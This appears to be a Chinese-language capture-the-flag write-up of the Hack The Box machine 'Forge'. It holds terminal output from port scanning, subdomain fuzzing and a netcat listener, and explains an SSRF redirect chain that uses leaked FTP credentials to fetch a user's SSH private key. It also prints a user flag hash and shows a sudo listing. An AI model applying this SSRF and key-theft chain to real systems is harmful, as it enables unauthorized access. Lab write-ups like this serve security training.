Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-24 16:45 CST Nmap scan report for 10.10.11.111 Host is up (0.35s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 21/tcp filtered ftp 22/tcp open ssh 80/tcp open http
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-24 16:45 CST Nmap scan report for 10.10.11.111 Host is up (0.33s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA) | 256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA) |_ 256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Did not follow redirect to http://forge.htb |_http-server-header: Apache/2.4.41 (Ubuntu) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Aggressive OS guesses: Linux 5.0 (93%), Linux 4.15 - 5.8 (93%), Linux 5.3 - 5.4 (92%), Linux 2.6.32 (92%), Linux 5.0 - 5.5 (92%), Linux 3.1 (91%), Linux 3.2 (91%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (90%), Linux 5.0 - 5.4 (89%), Linux 5.4 (89%) No exact OS matches for host (test conditions non-ideal). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 28.09 seconds
3、根据扫描信息，绑定下本地hosts地址
1 2 3
┌──(kali㉿offsec)-[~/Desktop/tools/htb-portscan] └─$ echo"10.10.11.111 forge.htb" | sudo tee -a /etc/hosts 10.10.11.111 forge.htb
┌──(kali㉿offsec)-[~/Desktop] └─$ wfuzz -u http://10.10.11.111 -H "Host: FUZZ.forge.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --hw 26 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ********************************************************
Target: http://10.10.11.111/ Total requests: 19966
===================================================================== ID Response Lines Word Chars Payload =====================================================================
000000024: 200 1 L 4 W 27 Ch "admin"
6、这里是发现了一个子域名的信息的，本地绑定下，并查看下页面情况
1 2 3 4
┌──(kali㉿offsec)-[~/Desktop] └─$ echo"10.10.11.111 admin.forge.htb" | sudo tee -a /etc/hosts [sudo] kali 的密码： 10.10.11.111 admin.forge.htb
An error occured! Error : HTTPConnectionPool(host='10.10.14.6', port=80): Max retries exceeded with url: / (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x7f2ff7c4cf40>: Failed to establish a new connection: [Errno 111] Connection refused'))
10、通过挂起一个nc的443端口监听，查看监听到的内容。
1 2 3 4 5 6 7 8 9 10
┌──(kali㉿offsec)-[~/Desktop] └─$ nc -lvnp 443 listening on [any] 443 ... connect to [10.10.14.6] from (UNKNOWN) [10.10.11.111] 39270 GET / HTTP/1.1 Host: 10.10.14.6:443 User-Agent: python-requests/2.25.1 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive
┌──(kali㉿offsec)-[~/Desktop] └─$ curl http://forge.htb/uploads/D4L2zhsiUKRdtOLW392o <!DOCTYPE html> <html> <head> <title>Announcements</title> </head> <body> <linkrel="stylesheet"type="text/css"href="/static/css/main.css"> <linkrel="stylesheet"type="text/css"href="/static/css/announcements.css"> <header> <nav> <h1class=""><ahref="/">Portal home</a></h1> <h1class="align-right margin-right"><ahref="/announcements">Announcements</a></h1> <h1class="align-right"><ahref="/upload">Upload image</a></h1> </nav> </header> <br><br><br> <ul> <li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li> <li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li> <li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=<url>.</li> </ul> </body> </html>
┌──(kali㉿offsec)-[~/Desktop] └─$ curl http://forge.htb/uploads/R0byGNI2PdFhYlX6AjTD -o id_rsa % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 2590 100 2590 0 0 2044 0 0:00:01 0:00:01 --:--:-- 2047
System information as of Fri 26 Jan 2024 07:21:15 AM UTC
System load: 0.0 Usage of /: 43.8% of 6.82GB Memory usage: 21% Swap usage: 0% Processes: 222 Users logged in: 0 IPv4 address for eth0: 10.10.11.111 IPv6 address for eth0: dead:beef::250:56ff:feb9:2bd1
0 updates can be applied immediately.
The list of available updates is more than a week old. To check for new updates run: sudo apt update
Last login: Fri Aug 20 01:32:18 2021 from 10.10.14.6 user@forge:~$
25、那就读取下第一个flag信息吧
1 2 3 4 5 6 7
user@forge:~$ id uid=1000(user) gid=1000(user) groups=1000(user) user@forge:~$ ls snap user.txt user@forge:~$ cat user.txt 758819b7fe569e0c14f21ee150651668 user@forge:~$
注：以上的利用过程总结下
我提交 http://10.10.14.6/3?f=.ssh/ 作为 /upload on forge.htb 的 URL。
筛选器检查并批准 URL。
forge.htb 来自 Flask 的请求 /3?.f=.ssh/ 。
Flask 返回 302 重定向到 http://admin.forge.htb/upload?u=ftp://user:heightofsecurity123!@127.0.0.1/.ssh/ 。这将发送到 forge.htb /upload on admin.forge.htb ，它可以处理 FTP，带有 get 参数连接到本地 FTP 服务器，
admin.forge.htb 从 FTP 请求 /.ssh/ 目录列表。
FTP 返回结果，通过 admin.forge.htb 结果将它们返回到 forge.htb 。
forge.htb 使用随机名称将结果保存在 /uploads 目录中。
该已保存文件的 URL 将返回给我。
0x02 系统权限获取
26、查看下sudo权限情况
1 2 3 4 5 6 7 8
user@forge:~$ sudo -l Matching Defaults entries for user on forge: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user may run the following commands on forge: (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py user@forge:~$
